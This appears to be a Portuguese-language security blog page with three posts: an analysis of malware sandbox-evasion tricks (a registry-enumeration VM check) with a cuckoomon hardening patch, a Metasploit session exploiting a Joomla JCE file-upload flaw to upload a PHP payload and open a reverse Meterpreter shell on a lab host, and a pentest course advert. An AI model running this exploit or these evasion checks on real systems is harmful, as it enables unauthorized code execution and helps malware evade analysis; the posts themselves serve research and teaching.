Thursday, August 8, 2019

Artigo originalmente postado em 2015 em outro blog que foi descontinuado. Repostando apenas por razões históricas. Algumas informações certamente estão desatualizadas. 

Com o objetivo de dificultar análise dinâmica e depuração, diversos malwares utilizam técnicas para tentar evitar sua execução em sandbox. Essas técnicas são comumente chamadas de sandbox evasion.
As técnicas de evasão de sandbox podem ser classificadas de acordo com as seguintes categorias:
  • Interação humana. Esta categoria engloba técnicas que esperam ações específicas a serem realizadas pelo usuário. Essas ações podem ser qualquer coisa que sirva como teste de Turing. Por exemplo: movimentação e/ou clique do mouse, rolagem de página.
  • Configuração. nesta categoria estão os códigos que se aproveitam das limitações inerentes às sandboxes, como por exemplo, o tempo de execução. Um cenário contundente compreende fazer o código dormir por um tempo suficientemente longo para inviabilizar a sua execução em uma sandbox.
  • Ambiente. Nesta categoria, estão as técnicas que buscam por indícios de ambientes virtuais amplamente utilizados, como VirtualBox e VMWare. Esses indícios podem ser drivers de hardware específicos de VMs, chaves no registro, arquivos, dll, processos e etc.
No projeto open souce pafish, tem alguns bons exemplos da implementação de técnicas simples anti debugger/VM/sandbox. No trecho de código abaixo, extraído desse projeto, podemos observar uma técnica que tenta identificar o ambiente virtual a partir da existência de determinada sub-chave no registro.


Essa é uma técnica simples — e talvez por isso — seja bastante observada em alguns malwares. Assim como nesse exemplo, normalmente o que se observa durante as análises, é o acesso direto a sub-chave desejada utilizando a função RegOpenKeyEx da API do Windows®.
O monitoramento dessas chamadas à API do sistema é um ponto essencial no processo de análise dinâmica de malwares e normalmente é feito em sistemas de análise automatizadas, através de hooks. No Cuckoo Sandbox esse hook é feito através da injeção da DLL cuckoomon, que por sua vez, é responsável por interceptar e registrar as chamadas à API do sistema. Qualquer sistema de análise automática que se preze, deve realizar esse monitoramento e tentar detectar padrões de técnicas já conhecidas.
Certo dia me deparo com um malware que utilizava uma variação dessa técnica. Ele procurava por entradas no registro relacionadas com softwares de virtualização (VirtualBox e VMWare), entretanto ele utilizava a função RegOpenKeyEx apenas para abrir a chave "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", que contém a lista dos softwares disponíveis para desinstalação. E a partir dessa lista, utilizava a função RegEnumKeyEx para procurar por indícios de virtualização, como a existência de qualquer sub-chave com a palavra "virtualbox".
Através desta abordagem, esse artefato poderia detectar se estava sendo executado em uma máquina virtual e ainda passar despercebido a olhos desatentos. Como já dito anteriormente o mais comum para essa técnica é o acesso direto às sub-chaves que denunciem a instalação da máquina virtual, utilizando a função RegOpenKeyEx.
Para fins didáticos implementei essa técnica no pafish, o código fonte pode ser observado aqui.
Ainda como fruto dessa análise foi possível produzir um patch para o cuckoomon, com o objetivo de evitar detecção a partir desta técnica.

--- cuckoomon-orig/hook_reg.c 2014-06-11 20:17:15.000000000 -0300
+++ cuckoomon/hook_reg.c 2015-02-02 15:40:52.000000000 -0300
@@ -160,8 +160,25 @@
     __inout_opt  LPDWORD lpcClass,
     __out_opt    PFILETIME lpftLastWriteTime
 ) {
-    LONG ret = Old_RegEnumKeyExA(hKey, dwIndex, lpName, lpcName, lpReserved,
+    LONG ret;
+    char *blacklist[] = {"VirtualBox","vbox", "virtualbox","VBOX","oracle","VMware",NULL};
+
+    ret = Old_RegEnumKeyExA(hKey, dwIndex, lpName, lpcName, lpReserved,
         lpClass, lpcClass, lpftLastWriteTime);
+    
+    if (ret != ERROR_SUCCESS) {
+        return ret;
+    }
+   
+    for (int i=0; blacklist[i] ; i++){
+        
+        if (strstr(lpName, blacklist[i]) != NULL) {
+            ret = Old_RegEnumKeyExA(hKey, ++dwIndex, lpName, lpcName, lpReserved,lpClass, lpcClass, lpftLastWriteTime); 
+        }
+
+    }
+
     LOQ("plss", "Handle", hKey, "Index", dwIndex, "Name", lpName,
         "Class", lpClass);
     return ret;

Dentre os argumentos passados para a função RegEnumKeyExA vamos olhar com atenção os seguintes:
  • hKey - handle para a chave do registro aberta.
  • dwIndex - O índice da sub-chave que será recuperada.
  • lpName - Um ponteiro para um buffer que recebe o nome da sub-chave recuperada.
Esse patch consiste numa blacklist com alguns nomes que podem denunciar a existência de um ambiente virtual. Desta forma, para cada chamada à função RegEnumKeyExA é realizada uma checagem a fim de verificar se a sub-chave que está recuperada (lpName) está na nossa lista. Em caso positivo, a função RegEnumKeyExA original é chamada novamente, desta vez passando o índice subsequente (++dwIndex). Ou seja, as chamadas à função RegEnumKeyExA irão "pular" as sub-chaves que contiverem strings que também estejam na nossa blacklist.
Aplicar patches para "hardenizar" o cuckoomon, e consequentemente evitar a detecção de ambientes virtuais, é uma prática quase que diária para quem usa essa ferramenta como parte do processo de análise dinâmica, já que novas técnica de detecção de ambiente virtual — e variações das já existentes — surgem quase que diariamente. Ou seja, isso foi apenas mais do mesmo, a corrida entre a detecção e o anonimato.


Wednesday, March 27, 2013

Joomla Component JCE File Upload Remote Code Execution Metasploit Module



________________________________________________________

msf > use exploit/unix/webapp/joomla_comjce_imgmanager 
msf exploit(joomla_comjce_imgmanager) > info

       Name: Joomla Component JCE File Upload Remote Code Execution
     Module: exploit/unix/webapp/joomla_comjce_imgmanager
    Version: 0
   Platform: PHP
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent

Provided by:
  Unknown
  Heyder Andrade

Available targets:
  Id  Name
  --  ----
  0   Automatic

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  Proxies                     no        Use a proxy chain
  RHOST                       yes       The target address
  RPORT      80               yes       The target port
  TARGETURI  /                yes       Joomla directory path
  VHOST                       no        HTTP server virtual host

Payload information:
  Space: 4000
  Avoid: 1 characters

Description:
  This module exploits a vulnerability in the JCE component for 
  Joomla!, which could allow an unauthenticated remote attacker to 
  upload arbitrary files, caused by the fails to sufficiently sanitize 
  user-supplied input. Sending specially-crafted HTTP request, a 
  remote attacker could exploit this vulnerability to upload a 
  malicious PHP script, which could allow the attacker to execute 
  arbitrary PHP code on the vulnerable system. This module has been 
  tested successfully on the JCE Editor 1.5.71 and Joomla 1.5.26.

References:
  http://www.securityfocus.com/bid/49338
  http://www.exploit-db.com/exploits/17734

msf exploit(joomla_comjce_imgmanager) > set RHOST 172.16.86.133
RHOST => 172.16.86.133
msf exploit(joomla_comjce_imgmanager) > exploit 

[*] Started reverse handler on 172.16.86.1:4444 
[*] Checking component version to 172.16.86.133:80
[+] Successfully uploaded cpizwa.gif
[*] Change Extension from cpizwa.gif to cpizwa.php
[+] Renamed cpizwa.gif to cpizwa.php
[*] Calling payload: cpizwa.php
[*] Sending stage (39217 bytes) to 172.16.86.133
[*] Meterpreter session 1 opened (172.16.86.1:4444 -> 172.16.86.133:60773) at Wed Mar 27 22:14:31 -0300 2013
[+] Deleted cpizwa.php

meterpreter > getuid 
Server username: www-data (33)
meterpreter > shell
Process 7445 created.
Channel 0 created.
pwd
/var/www/joomla/images/stories
^C
Terminate channel 0? [y/N]  y
meterpreter > quit
[*] Shutting down Meterpreter...

[*] 172.16.86.133 - Meterpreter session 1 closed.  Reason: User exit
msf exploit(joomla_comjce_imgmanager) > 


___________________________________________________________



Thursday, March 21, 2013

Curso – Pentest Hands ON!


Este curso oferece as principais técnicas para a condução de um pentest (Teste de Intrusão) remoto nos dias atuais. O curso é 100% prático e aborda novos e antigos métodos, técnicas e ferramentas que são utilizadas na condução de um pentest  remoto. Para isso, serão utilizados laboratórios reais (on-line), sem as famosas máquinas virtuais cheias de vulnerabilidades viciadas e que não condizem com a realidade.
Os resultados dos testes serão baseados em cenários reais, que irão certificar o aluno a conduzir um pentest e produzir um relatório comercial. No final do curso o aluno sairá capacitado para realizar um pentest remoto e identificar vulnerabilidades e ameaças, descobrindo os riscos e níveis de criticidade em cada vulnerabilidade ou ataque remoto no ambiente testado.